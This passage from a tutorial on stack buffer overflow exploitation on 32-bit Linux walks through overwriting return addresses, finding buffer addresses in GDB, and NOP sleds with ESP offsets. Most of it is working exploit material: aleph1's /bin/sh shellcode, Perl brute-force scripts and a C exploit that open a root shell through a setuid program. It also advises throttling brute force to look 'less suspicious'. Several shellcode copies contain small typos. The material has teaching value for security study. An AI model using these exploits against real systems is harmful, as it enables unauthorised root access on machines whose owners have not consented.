aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
$
```

In the next section you will learn how to exploit this vulnerability to execute any code you want.

2. Exploiting buffer overflows

In section 1 the two requirements for exploiting buffer overflows were listed:

- Have something we want executed
- Have a way to let the process execute this

The second point was covered in section 1, namely by overwriting the return address. In this section you will learn how to take advantage of this knowledge and how to execute arbitrary code, the first point. We will overwrite the return address so that it will execute our arbitrary code, which we supply. This can be done in several ways, for example:

- Putting our code on the stack and execute this code, we call the method return-into-stack-buffer
- Using code already in the process address space, a loaded library, we call it return-into-library

Both methods are possible, but not always and sometimes one method is a better or even single option. The two methods are very different, I will only cover the first method in this paper, but the other one is just as easy (I find it even more easy).

Return into stack buffer

When thinking about how to exploit a stack overflow we already know we can overwrite the return address, so we can direct execution to any memory address we want. When it comes to executing code we come to the natural conclusion that we want to execute code that we supply. We can supply our code by putting it in the buffer itself, and the return address in this case should be set to the start of the buffer we overflow. The figure becomes:

towards bottom of stack (higher memory addresses)	char *argument[1]
ret will be overwritten with the address of buffer[0]	return address
	saved frame-pointer
The buffer contains our code to be executed, starting at buffer[0]	buffer[99]
	buffer[n]
	buffer[4]
	buffer[3]
	buffer[2]
	buffer[1]
	buffer[0]

The buffer is on the stack, so if we would exploit this the commandline would look like this:

```
$ ./vulnerable <our_user_supplied_code><padding><return-into-stack-address>
$
```

This means our user-supplied code should never be longer than a 100 bytes (if the vulnerable program's buffer was allocated 100 bytes), but don't worry, we will require only about 20 bytes for our supplied code. Because it will only be about 20 bytes long, there is a space of approximately 80 characters between the end of our code and the saved return address, therefore there will be about 80 characters of useless data we call padding. After the padding we put the address of the beginning of our buffer, *buffer[0]*.

Writing the code is not exactly easy in this case, because `strcpy()` will stop reading when it sees a NUL-byte remember? This means our code cannot contain any NUL-byte or it won't work. Another problem is that this code we create is not exactly source code, it needs to be machine code. This means we need to write assembler code for what we want to execute, and then convert it into machine code that can be directly injected into the process (using the supplied buffer) and executed. In this sub-section we will first see how we can execute code that is already inside a program by overwriting the saved return address with one we supply. Ofcourse, this is not really what we want in the end, because it is unlikely that the vulnerable program contains any useful instructions for us to execute. Nonetheless it's a good start in understanding buffer overflow exploitation.

Taking over control

Consider the following C program:

```
int function_that_is_not_being_executed ()
{
    printf ("Hey! This function should not have been executed!\n");
    exit (2);
}

int main (int count, char *argument[])
{
    char buffer[100];

    if (count < 2)
    {
        printf ("You need to give text as an argument, exiting\n");
        exit (1);
    }

    strcpy (buffer, argument[1]);

    printf ("I won't execute what is not being executed.\n");

    return 0;
}
```

Compile and run this with a supplied string (character array):

```
detach@luna:~$ gcc -o vulnerable vulnerable.c
detach@luna:~$ ./vulnerable "Hello, I will let you execute what is not being
executed."
I won't execute what is not being executed.
detach@luna:~$
```

In this paragraph we will prove this program wrong. To do this, we need to know two things first:

- What is the address of *function_that_is_not_being_executed*
- What is the offset of *ret* from the start of our buffer

Point one is quite easy to do because once compiled, the address stays the same. I have mentioned that program text (executable code in a program) is mapped into memory starting at address 0x08048000, somewhere along those lines is our *function_that_is_not_being_executed*, we just need to fetch that address. This can be done in several ways, the easiest is to use GDB, the GNU Debugger. Pay close attention, GDB will become one of your best friends:

```
$ gdb -q ./vulnerable
(gdb) print function_that_is_not_being_executed
$1 = {<text variable, no debug info>} 0x8048460
<function_that_is_not_being_executed>
(gdb) quit
$
```

Okay, so the address is 0x8048460. Another way to do this non-interactively is by using `objdump`:

```
$ objdump -t vulnerable | grep function_that_is_not_being_executed
08048460 g    F .text 00000025      function_that_is_not_being_executed
$
```

The first column tells us the same address, notice that it also says the function is in the `.text` segment. Now that we know the address to use for overwriting `ret`, there rests only one thing to do; create a buffer of more than a 100 bytes containing the address. But not so fast, there are some Intel rules to follow.

First question is, will our addresses be correctly aligned? The answer is yes, GCC will always allocate stack space in multiples of 4-bytes (32-bits), if this were not to be true the address would not fit neatly in the 4-bytes occupied by the `ret`. So that's something we won't have to worry about.

The second problem is that we cannot just write 0x8048460, because we have to consider byte-ordering. Namely, different CPU architectures use different byte-ordering to store numbers in memory. You can have little-endian or big-endian byte-order for numbers. So, when you store a number in memory (and an address is ofcourse a number) that is longer than one byte (the number being higher than 255), it will be written to memory in a specific byte-order. A little-endian CPU such as Intel's will store the high-order (most significant) byte at the higher address, and the low-order byte at the lower address. For example if you have a number 0x00FF, on Intel the order would be like in the following table:

Toward higher addresses	number[1]	00
Toward lower addresses	number[0]	FF

This means that we cannot simply write 0x8048460, cause when it is copied byte by byte the order is not stored in little-endian byte-order and we would get:

Toward higher addresses	address[3]	60
	address[2]	84
	address[1]	04
Toward lower addresses	address[0]	08

Upon loading *ret*, the CPU would try to execute instructions at address 0x60840408 because the byte at the higher address is assumed to be most significant. To avoid this we need to store it in little-endian notation, like this:

Toward higher addresses	address[3]	08
	address[2]	04
	address[1]	84
Toward lower addresses	address[0]	60

To do this our bytes need to be ordered this way: 0x60 0x84 0x04 0x08. In C notation it is: "\x60\x84\x04\x08"

Now let's go back to our vulnerable program and execute the *function_that_is_not_being_executed*. To do this we have one question remaining:

- What is the offset of *ret* from the start of our buffer

Well, we know the size of *buffer* is 100, and before our buffer on the stack is the saved frame-pointer (4 bytes) and the saved instruction pointer (EIP, also 4 bytes). Because each address is 4 bytes we need to divide 100 by 4 which is 25, and in order to overwrite saved frame-pointer and *ret*, the number is 27. Which means we need to give 27 addresses of *function_that_is_not_being_executed* (27 times 4 is 108). Watch this:

```
$ ./vulnerable `perl -e 'print "\x60\x84\x04\x08" x 27`
I won't execute what is not being executed.
Hey! This function should not have been executed!
$
```

We did it! The line will execute the command *perl -e 'print "\x60\x84\x04\x08" x 27'*, which prints our address 27 times, and this output is given as an argument to *vulnerable* because we use the backticks (` `).

In this sub-section you learned how to redirect execution by overwriting the return address with a user-supplied address. Now what we need to do is to execute our own code.

Executing user-supplied code

The first thing we need to think of is what we want to execute and whether it is worth to execute code on behalf of the process. The vulnerable program we showed before is not really a good target because it has the same privileges as we have. So a "vulnerability" in a normal target is only annoying, we can crash it or execute code, but it does not give us attackers an advantage. No, we need to attack a process that has privileges that we would be interested in. Such a program could be a *setuid root* program, which when executed will run as root.

Since we will attack a local application and not a remote process (such as a daemon) it is an obvious choice to open a new shell with root privileges for us. The first hackers experimenting with buffer overflows thought the same and dubbed the user supplied code *shellcode*. And although there is now code for all sorts of purposes, the term *shellcode* stuck. The shellcode is a piece of machine code that executes a new shell. We will just use the overly abused shellcode of aleph1 (aka Elias Levy), as published in phrack issue 49-14 (real hackers know this article number by heart), *Smashing the stack for fun and profit*. Let's test his shellcode by writing the following "C" program⁵:

```
char main[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";
```

Compile and give it "setuid root" privileges and execute it:

```
$ su
Password:
# gcc -o sh sh.c
# chmod 4755 sh
# exit
$ ./sh
sh# exit
$
```

It works as expected, we get a shell with root privileges. I will not go into the details of how shellcode is created, for now you should just notice that the shellcode contains no NUL-bytes. We can just use this shellcode in exploiting our buffer overflow to open a shell for now.

Let's exploit this vulnerable program once and for all:

⁵ Thanks to SolarIce of covertsystems.org for his elegant *main* hack for testing shellcode

```
int main (int count, char *argument[])
{
    char buffer[100];

    if (count < 2)
    {
        printf ("You need to give text as an argument, exiting\n");
        exit (1);
    }

    strcpy (buffer, argument[1]);

    return 0;
}
```

To successfully exploit this we again need to know the address of our code, which is the beginning of *buffer*, as we will want a command like this:

```
$ ./vulnerable <shellcode><padding><ret>
```

For this we consult GDB, but first we will make the vulnerable program "setuid root":

```
$ su
Password:
# gcc -o vulnerable vulnerable.c
# chmod 4755 vulnerable
# exit
$ ls -l vulnerable
-rwsr-xr-x  1 root  root          5150  vulnerable
$
```

Now we'll go through the process of finding the start address of *buffer*. A brief explanation is welcome in advance. What we do is we run the vulnerable program with an arbitrary argument (as long as it doesn't crash), but before running it we set a break point on the *strcpy* call to determine the address of *buffer*. A breakpoint in a debugger simply stops the program so you can examine the running program's state at that time, check values of registers, memory area's, etcetera. I will guide you through the process.

First we disassemble the main function, which will give us assembly representation of this function. This is done with the GDB *disassemble* command.

```
$ gdb -q ./vulnerable
(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:  push  %ebp
0x080483c5 <main+1>:  mov   %esp,%ebp
```

```

0x080483c7 <main+3>:   sub    $0x88,%esp
0x080483cd <main+9>:   and    $0xffffffff0,%esp
0x080483d0 <main+12>:  mov    $0x0,%eax
0x080483d5 <main+17>:  sub    %eax,%esp
0x080483d7 <main+19>:  cmpl  $0x1,0x8(%ebp)
0x080483db <main+23>:  jg    0x80483f5 <main+49>
0x080483dd <main+25>:  movl  $0x8048560,(%esp)
0x080483e4 <main+32>:  call  0x80482d0 <printf>
0x080483e9 <main+37>:  movl  $0x1,(%esp)
0x080483f0 <main+44>:  call  0x80482e0 <exit>
0x080483f5 <main+49>:  mov   0xc(%ebp),%eax
0x080483f8 <main+52>:  add   $0x4,%eax
0x080483fb <main+55>:  mov   (%eax),%eax
0x080483fd <main+57>:  mov   %eax,0x4(%esp)
0x08048401 <main+61>:  lea  0xffffffff88(%ebp),%eax
0x08048404 <main+64>:  mov   %eax,(%esp)
0x08048407 <main+67>:  call  0x80482f0 <strcpy>
0x0804840c <main+72>:  mov   $0x0,%eax
0x08048411 <main+77>:  leave
0x08048412 <main+78>:  ret
0x08048413 <main+79>:  nop
0x08048414 <main+80>:  nop
0x08048415 <main+81>:  nop
0x08048416 <main+82>:  nop
0x08048417 <main+83>:  nop
0x08048418 <main+84>:  nop
0x08048419 <main+85>:  nop
0x0804841a <main+86>:  nop
0x0804841b <main+87>:  nop
0x0804841c <main+88>:  nop
0x0804841d <main+89>:  nop
0x0804841e <main+90>:  nop
0x0804841f <main+91>:  nop
End of assembler dump.

```

If you look and think carefully, we know that arguments to *strcpy* are passed in reverse order. So first the address of source buffer is pushed on the stack, after that the address of our destination buffer *buffer* is pushed on the stack. While we want to discover the address of *buffer* we need to see this while the program is running. A good idea would be to set a breakpoint right before the call to *strcpy*. This call is at *main+67*. To be sure we will also set a breakpoint *after* the *strcpy* call, so we can make sure that the source buffer has been copied.

```

(gdb) break *main+67
Breakpoint 1 at 0x8048407
(gdb) break *main+72
Breakpoint 2 at 0x804840c

```

Now we can run the program using *run <argument>*, which we do now. The program will stop right before our first breakpoint:

```
(gdb) run abracadabra
Starting program: /home/detach/vulnerable abracadabra
```

```
Breakpoint 1, 0x08048407 in main ()
```

The stackpointer now points at the *address* of our destination buffer, and before that on the stack is the address of our source buffer. So let's first confirm these facts by examining what's 4-bytes from the top of the stack (this should be the address to the source buffer *argument[1]*) and the address on top of the stack. Then we can print the strings that are at these addresses:

```
(gdb) x/x $esp+4
0xbfffc74: 0xbfffe83
(gdb) x/x $esp
0xbfffc70: 0xbfffc80
(gdb) x/s 0xbfffe83
0xbfffe83: "abracadabra"
(gdb) x/s 0xbfffc80
0xbfffc80: "Ø|\001@"
```

As expected, at `$esp+4` is the address to the string "abracadabra" (*argument[1]*), but the first argument (*buffer*) still holds garbage. Let's confirm this is the *buffer* pointer by continuing execution, the next stop is right after the *strcpy* call:

```
(gdb) continue
Continuing.
```

```
Breakpoint 2, 0x0804840c in main ()
```

```
(gdb) x/s 0xbfffc80
0xbfffc80: "abracadabra"
```

Good! Our string has been copied, and we confirm the address of *buffer* on the stack, namely `0xbfffc80` (this will very likely be different on other machines). So we will place aleph1's shellcode at address `0xbfffc80`, or better `"\x80\xfc\xff\xbf"`. Really, it isn't this simple, because our "abracadabra" string was only 11 chars, but our shellcode is more than 40 bytes. Because of the argument itself is also on the stack, the stack will change once your argument size varies. But our work was not useless, we will use GDB again with our buffer and we will manually determine the address we do need once again, with the shellcode. So bear with me just a little longer.

What we do now is put the shellcode first, then some padding so that this first part is a multiple of 32-bit and then add the address. First we have to know the size of the shellcode:

```
$ perl -e 'print length'
```

```
("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh")'
45$
```

The shellcode is 45 bytes long, which means we need 3 bytes of padding to have 48 bytes (so that it can be divided by 4). We already calculated in the former section that we need 27 times 4 bytes to reach *ret*, so we just put 15 return addresses after our shellcode and padding. Let's make the buffer and see how it looks:

```
detach@spock:~$ perl -e 'print
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"pad" . "\x80\xff\xbf" x 15' > buf
detach@spock:~$ hexdump -v -C ./buf
00000000 eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b | ..^..v.1..F..F...|
00000010 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd | ...N..V...1...@.|
00000020 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 70 61 64 | ...../bin/shpad|
00000030 80 fc ff bf 80 fc ff bf 80 fc ff bf 80 fc ff bf | .....|
00000040 80 fc ff bf 80 fc ff bf 80 fc ff bf 80 fc ff bf | .....|
00000050 80 fc ff bf 80 fc ff bf 80 fc ff bf 80 fc ff bf | .....|
00000060 80 fc ff bf 80 fc ff bf 80 fc ff bf 80 fc ff bf | .....|
0000006c
detach@spock:~$
```

I think it's beautiful, let's get to the action. I said we needed 15 return addresses, but this is not necessarily true. Sometimes GCC may allocate a little bit more than a 100 bytes, this just requires some testing, but it doesn't matter if we would put a 100 return addresses after our shellcode, it would still run well, so I'll bet on 20 return addresses.

We have established what we will do next, the buffer will hold the shellcode, 3 bytes of padding is added and then 20 return addresses of 4-bytes each. So our buffer is of a fixed size now, we only need to figure out the beginning of *buffer* once again, this can be done by giving the executable and argument to *gdb*. We will set the return address to `0xffffffff`, but it can be any value as long as it doesn't contain a NUL-byte. We will then launch GDB and figure out the address and replace `0xffffffff` with the correct address:

```
detach@spock:~$ gdb -q --args ./vulnerable `perl -e 'print
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" .
"pad" . "\xff\xff\xff\xff" x 20`
Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) break *main+72
Breakpoint 1 at 0x804840c
(gdb) run
Starting program: /home/detach/vulnerable ë^ 1À F F
```


bit, so our return address value will be larger. Now that we know this, we can just find the return address using brute force, starting at address 0xbfffc10, we continue exploiting the vulnerable program, each time increasing this return address with 4. We will do this with one perl command:

```
$ perl -e 'for ($i=0; $i < 100; $i = $i + 4) { $address = pack('L', (0xbfffc10 + $i)); @arg =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x5
6\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff/bin/shpad" . $address x 20; if
( system ("./vulnerable \@arg") == 0 ) { exit } }'
sh-2.05b# exit
$
```

Ofcourse that command is a bit too cryptic so i will write it out as a perl script:

```
#!/usr/bin/perl

# Loop, increase offset with 4 every loop
for ( $i=0; $i < 100; $i = $i + 4)
{
    # Convert the long number to a string (character array)
    $address = pack('L', (0xbfffc10 + $i));

    # The complete argument; shellcode, padding, return addresses
    @arg = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88" .
           "\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3" .
           "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31" .
           "\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff" .
           "\xff\xff/bin/shpad" .
           $address x 20;

    # Execute the exploit, if it succeeds (system() returns 0), exit.
    if ( system ("./vulnerable \@arg") == 0 ) {
        exit
    }
}
```

Alright, hopefully you basically understand the above code. Once you have the start address right (as we have found using GDB) the above script should always succeed:

```
$ ./exploit.pl
sh# exit
$
```

Root again!

Brute force considerations

With a little imagination you can make an ultimate brute-force script that would guess all return addresses (starting from 0xc0000000), buffer lengths and offsets.

Sometimes buffer overflows can be exploited only once. When for example you remotely exploit a buffer overflow in a service which does not restart when it crashes (this is typical for standalone daemons that use threads instead of a new process for each session), you will not be able to try again. So sometimes it is essential that you get the correct address right away.

But the foremost practical reason to make good guesses of the return addresses is system load (for local exploitation) and network traffic (for remotely exploited buffer overflows). If you need to use brute force you can also put a sleep in each loop of for example 300 milliseconds, which would greatly reduce the load on the system, and be less suspicious.

The best way to "guess" the correct return address is to have the same setup as your target. As one aspect of the start of *buffer* is how the code is compiled, if you have the same binaries on a local test system in your "lab" as your target, you solved one problem of finding the return address. For example, your target runs Red Hat Fedora 2, you should install a test system running Red Hat Fedora 2 too, using the same package versions of the vulnerable system, than the code is the same as well. Because of this, there is one less problem in finding the correct return address.

The other problem is that the environment itself may differ. The environment of a process is also put on the stack, so the size of the environment has impact on the start of your *buffer*. On your system type the *env* command:

```
detach@luna:~$ env
TERM=rxvt
SHELL=/bin/bash
USER=detach
PATH=/home/detach/bin:/usr/local/bin:/usr/bin:/bin:/usr/bin/X11:/usr/games
PWD=/home/detach
LANG=nl_NL@euro
HOME=/home/detach
SHLVL=1
LOGNAME=detach
DISPLAY=:0.0
COLORTERM=rxvt-xpm
_=/usr/bin/env
detach@luna:~$
```

Many of these environment variables are very dynamic, username changes and such thing. Exploit coders use two methods to completely eliminate these environment difficulties; NOPs and offsets. These will be discussed in the next

paragraph.

Writing exploits in C

We have written our exploits in Perl till now. There are cons and pros to it. Perl is increasingly more frequently available on target system, but still, a C compiler is available on virtually *any* Unix system. So it would be ashamed if you needed to exploit a local stack overflow with your Perl exploit and not having a Perl interpreter. This is one of the reasons that traditionally, most exploits are written in C. Another reason is that C is a little closer to assembly and the stuff we do than Perl is, even though with Perl we can still do anything we want in the area of exploit coding. Perl's pro is that it is almost ideal for exploit coding, exploits often require quick modification, reuse of code, etcetera. Because you do not need to recompile Perl code all the time, it works much faster. However, it is not guaranteed even that a C compiler is always available, a friend of mine once said about this "if it doesn't have a C compiler, it's not worth hacking into", which is one true statement. I should also add that Python is also increasingly used for exploit coding, but for now it will be available on systems much less frequent than Perl.

Despite what you think is the best environment for programming exploits, you should be familiar with the C exploits in order to adapt existing C exploits, or to rewrite them in Perl or Python.

Right now we will add two new features to our exploit to try and hit the correct return address in less tries:

- Use of NOPs
- Use of offset from ESP

We could have added these features in Perl, but as an exercise you can translate the C program to Perl again.

NOPs

A NOP is an Intel instruction that literally does nothing, it has the opcode 0x90 and is ideal to use as padding before our shellcode. This way we will not have to worry much about hitting exactly the right return address. Look at this figure:

towards bottom of stack (higher memory addresses)	char *argument[1]
ret will be overwritten with the address of buffer[0]	return address
sfp will be overwritten with the address of buffer[0] (but can also be garbage data)	saved frame-pointer
Padding and end of shellcode	buffer[99]
Start of shellcode	buffer[52]
NOP instructions	buffer[n]
	buffer[3]
	buffer[2]
	buffer[1]
	buffer[0]

So the scenario changes and the shellcode is put at the end of *buffer*, just before the return addresses. Anything before the shellcode is filled with NOP instructions, you could say they are part of the shellcode. The consequence is that the return address needs to point somewhere in the NOPs, which allows us more room to guess the return address. For example, in case our buffer is a 100 bytes, and our shellcode is 45 bytes, we need 3 bytes of padding so our shellcode is 48 bytes. We we will keep 8 bytes for 2 addresses which overwrites *ret* and *sfp* (*sfp* can actually be overwritten with part of the shellcode too though). The other 52 bytes before shellcode are all NOPS, which means our return address can simply point to somewhere between *buffer[0]* and *buffer[51]*. When we bruteforce this, we can make steps of 48 (51 should also work) bytes instead of 4, this will speed up our search for the correct address by 12! As an exercise you should modify the Perl exploit to use NOPs. The buffer then should look like this:

```

00000000  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |.....|
00000010  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |.....|
00000020  90 90 90 90 90 90 90 90  90 90 90 90 90 90 90 90  |.....|
00000030  90 90 90 90 eb 1f 5e 89  76 08 31 c0 88 46 07 89  |.....^..v.1..F..|
00000040  46 0c b0 0b 89 f3 8d 4e  08 8d 56 0c cd 80 31 db  |F.....N..V...1..|
00000050  89 d8 40 cd 80 e8 dc ff  ff ff 2f 62 69 6e 2f 73  |..@...../bin/s|
00000060  68 70 61 64 10 fc ff bf  10 fc ff bf                |hpad.....|
0000006c

```

If the exact size of the buffer is unknown you could also add more return addresses so that one of them will overwrite *ret* and have nops before the shellcode. Now we resolved one problem, the address do not have to be perfectly

calculated anymore, they can usually be guessed in one or several times. However we still have the problem of varying environments which affect the size of the stack. This will be dealt with in the next paragraph.

Offset from ESP

The environment (where for example your PATH and USER variable are stored) of a program is located towards the bottom of the stack, so the figure would be like this:

towards bottom of stack (higher memory addresses)	environment
	program name, arguments, environment pointer
	return address
	saved frame-pointer
towards top of stack (lower memory addresses)	char buffer[100]

As you can see, once the environment size increases, the stack increases and the addresses towards to top of the stack decrease (toward lower memory addresses).

To deal with variable environment sizes there is a solution which is to have the exploit determine its own stack pointer and then use an offset from that pointer to determine the start of *buffer* in the vulnerable program. This works because the increase and decrease of the stack addresses are equal in programs that run in the same environment. So for example, when the environment is enlarged by 8 bytes, then the stack addresses change by 8 in both the vulnerable program *and* the exploit.

Think about it, the exploit you run sits in an environment and it's stack pointer will change based on that environment, but the difference (*offset*) between the stackpointer in the exploit and the start of *buffer* in the vulnerable program remains constant. To determine the stack pointer aleph1 introduced this simple method in phrack 49-14:

```
unsigned long get_sp(void) {
    __asm__("movl %esp,%eax");
}
void main() {
```

```
    printf("0x%x\n", get_sp());
}
```

It's not as magical as it looks, just a bit of inline assembly. Ofcourse you should understand by now how it works. Return values of functions are returned by using the EAX register. So you create a new function called `get_sp` and put a little inline assembly in it (in-line assembly is a feature of the C compiler) that returns the stack pointer by copying it to EAX as a return value. Then you print it with `printf`.

Let's test this:

```
detach@spock:~$ ./getsp
0xbffffd38
detach@spock:~$ ./getsp
0xbffffd38
detach@spock:~$ export ENVIRONMENT_GARBAGE="We'll see how the stack pointer
changes"
detach@spock:~$ ./getsp
0xbffffcf8
detach@spock:~$
```

So as you can see, running `getsp` twice doesn't change the value of ESP, but once you change the environment by adding an environment variable, the stack gets larger and the stack pointer value decreases, because it grows toward lower addresses.

This means that when you run `./vulnerable` twice, the return address stays the same, but when you add or remove environment variables, the return address needs to be adjusted. This becomes a problem when you write an exploit on your Red Hat Fedora 2 test system and then try to use it against your target system, it is quite likely that the environment size is different and the exploit will fail.

To compensate, we can just write an exploit that determines the return address as an offset from its own stack pointer, this way it will run correctly even when you run it in a different environment. So this is a clever technique.

Let's write the exploit in C:

```
unsigned long get_esp(void)
{
    __asm__("movl %esp,%eax");
}

#define BUFLen 132
#define NOP 0x90

int main (int argc, char **argv)
```

```

{
  int i;
  char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88"
    "\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3"
    "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31"
    "\xdb\x89\xd8\x40xcd\x80\xe8\xdc\xff"
    "\xff\xff/bin/shpad";
  unsigned long offset;
  unsigned long address;

  char arg[BUFLLEN];

  if (argc < 2) {
    printf("You need to provide the offset\n");
    exit(1);
  }
  offset = atoi(argv[1]);

  address = get_esp() - offset;

  /* we write 52 nops */
  for(i = 0; i < 52; i++)
    arg[i] = NOP;

  strncpy(arg+i, shellcode, sizeof shellcode);

  i = i + sizeof shellcode - 1;
  while (i < BUFLLEN) {
    (unsigned long)* (unsigned long *)&arg[i] = (unsigned long) address;
    i+=4;
  }

  write(1, arg, BUFLLEN);
}

```

It's not the best exploit one could write, but it will do. For example you could let the exploit execute the vulnerable program, and you could prepare the argument somewhat better, but it will work.

Because the exploit prints out *arg* we need to catch the argument and give it to the vulnerable program, like this:

```
$ ./vulnerable `./exploit <offset>`
```

In this case, the offset will probably not be very large, because our program will have about the same stack size. But what we do know is that our buffer is larger as it needs to be in order to overflow the vulnerable program's buffer. Knowing this, we can assume we need a positive offset from ESP. But, if you look at our exploit, it automatically subtracts the offset from ESP, so we need to give a

negative offset on the command-line so that the address will become positive from ESP again. Now let's brute-force the value, I have a feeling we will have a correct address in no time:

```
$ i=0; while [ $i -lt 50 ]; do ./vulnerable `./exploit -$i`; let i=$i+48; done
Segmentation fault
sh-2.05b#
```

Okay, only one segmentation fault, so the correct offset is -48:

```
$ ./vulnerable `./exploit -48`
sh-2.05b# exit
$
```

Great. So our exploit calculates the address like this: $\%esp - 48 = \%esp + 48$.

In the exploit I subtracted the offset because most of the time, real-world vulnerable programs are much larger than our simple exploit, so it's very likely their stack is much bigger than ours, and *buffer* may start at a much lower address.

Once you have this offset, this offset should work on all machines that run the same operating systems, such as Red Hat Fedora 2 with the exact same packages. This is why many good exploits include predefined offsets for many operating system versions. Now that I mention this, Windows platforms are for this reason an easy target because the different offsets are very limited across Windows platforms.

Writing good exploits

It is important to write good exploits for yourself, as when hacking, speed matters. As you want to reuse your exploit code all the time there are few things you should remember when writing an exploit:

- Write pretty code; don't pretend to be cool because your code looks like shit and you still understand it (for example, use clear variable names and one coding style)
- Make it easy to change the shellcode; calculate where to put the shellcode based on the buffer lengths
- Use the offset method
- Optionally, give the buffer length as an argument to the exploit

But, there are more things. You can for example put the shellcode in an environment variable instead of in the buffer, this way you can also exploit buffer

overflows when there's only a small buffer.

3. Further reading

<i>Name</i>	<i>URI</i>	<i>Description</i>
Programming from the Ground Up	http://savannah.nongnu.org/projects/pgubook/	Very good introduction to IA32/x86 assembly on a GNU/Linux system
The C Programming Language / Brian W. Kernighan, Dennis M. Ritchie	-	The book I learned C from
A Book on C.: Programming in C. / Al Kelley, Ira Poh	-	Another great C learning book
Debugging With Gdb: The Gnu Source-Level Debugger / Richard Stallman, Roland Pesch, Stan Shebs	-	"Must-have" book on GDB

Table 6.3.: Good reads on programming

<i>Name</i>	<i>URI</i>	<i>Description</i>
Smashing The Stack For Fun And Profit	http://www.phrack.org/phrack/49/P49-14	Best guide to learn on stack-based buffer overflows
Frame Pointer Overwriting	http://www.phrack.org/phrack/55/P55-08	A different way of exploiting (more limited) stack-based buffer overflows
Advanced return-into-lib(c) exploits	http://www.phrack.org/phrack/58/p58-0x04	Using the return to library method to exploit buffer overflows
Bypassing StackGuard and StackShield	http://www.phrack.org/phrack/56/p56-0x05	Another method to exploit buffer overflows
w00w00 on Heap Overflows	http://www.w00w00.org/files/articles/heaptut.txt	Exploit heap-based overflows (allocated through malloc()/brk())

<i>Name</i>	<i>URI</i>	<i>Description</i>
Vudo malloc tricks	http://www.phrack.org/phrack/57/p57-0x08	Another starting tutorial on heap-based overflows
Once upon a free()	http://www.phrack.org/phrack/57/p57-0x09	Another paper on heap overflows
Smashing The Kernel Stack For Fun And Profit	http://www.phrack.org/phrack/60/p60-0x06.txt	Exploiting stack overflows in kernel-space

Table 6.4.: Further reading on software exploitation